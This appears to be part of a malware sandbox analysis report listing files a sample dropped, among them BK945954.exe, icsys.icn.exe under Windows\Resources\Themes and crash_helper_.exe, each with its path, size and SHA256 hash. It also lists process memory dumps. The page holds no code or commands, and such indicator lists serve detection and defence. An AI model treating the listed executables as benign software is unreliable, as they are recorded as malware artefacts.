        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\api-ms-win-crt-utility-l1-1-0.dll
        • Size 22KB
        • SHA256 88ce66919d551efa7a0430f1188b558c41532c363258c1f07a05e2b67d603208
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        base_library.zip
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\base_library.zip
        • Size 1.4MB
        • SHA256 9489f8604dcf92408dfb6a93e33cf47cc2c11f41a944b7baf396f8eabcd311ef
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libcrypto-3.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\libcrypto-3.dll
        • Size 6.0MB
        • SHA256 53c529145339fb042a3dcd3a09c2d7753204f8b4fc79d99e0d31e69a33985958
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libffi-8.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\libffi-8.dll
        • Size 38KB
        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        python315.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\python315.dll
        • Size 7.5MB
        • SHA256 7be53b47c33c4ee662ec1f6a896ea73270171751dd132dff0fe93dd0a07ded36
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ucrtbase.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI00000b6c2\ucrtbase.dll
        • Size 1.1MB
        • SHA256 c04daeba7e7c4b711d33993ab4c51a2e087f98f4211aea0dcb3a216656ba0ab7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _SHA256.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI000012f82\Crypto\Hash\_SHA256.pyd
        • Size 21KB
        • SHA256 2d57abc0274265d2ab891fba840c05a34831f61ab5c21d0540fc43bd28cc5ae3
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        __PSScriptPolicyTest_2awz2xka.qod.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2awz2xka.qod.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        BK945954.exe
        • Path C:\Users\Admin\AppData\Roaming\BK945954.exe
        • Size 67KB
        • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        icsys.icn.exe
        • Path C:\Windows\Resources\Themes\icsys.icn.exe
        • Size 135KB
        • SHA256 83f53cfcd3ccc1716c96dd2395bacb08d32e3cebb45cf38c4a173b556da057df
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        icsys.icn.exe
        • Path C:\Windows\Resources\Themes\icsys.icn.exe
        • Size 135KB
        • SHA256 1787505dce4295f5a293deee2651955506a4635c807a561a01f1b93fb5ee622a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        crash_helper_.exe 
        • Path \??\c:\program files (x86)\microsoft\crash_helper_.exe 
        • Size 21.8MB
        • SHA256 dd9adf4a39368cd1f765f6a7138dbebaf7e70d06692d392fbc925c2f39ae0745
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/220-334-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/1076-23-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/1076-336-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/1460-337-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/1828-321-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/2632-244-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/3188-293-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/3188-37-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/4208-253-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/4208-550-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/4232-402-0x0000021654C90000-0x0000021654CB2000-memory.dmp
        Download

        memory/4232-581-0x0000021654CD0000-0x0000021654CEE000-memory.dmp
        Download

        memory/4232-582-0x0000021654D70000-0x0000021654DB8000-memory.dmp
        Download

        memory/4280-552-0x00007FFDE82A0000-0x00007FFDE8503000-memory.dmp
        Download

        memory/4444-551-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/4628-549-0x0000000000400000-0x000000000041F000-memory.dmp
        Download

        memory/4888-335-0x0000000000400000-0x000000000041F000-memory.dmp
        Download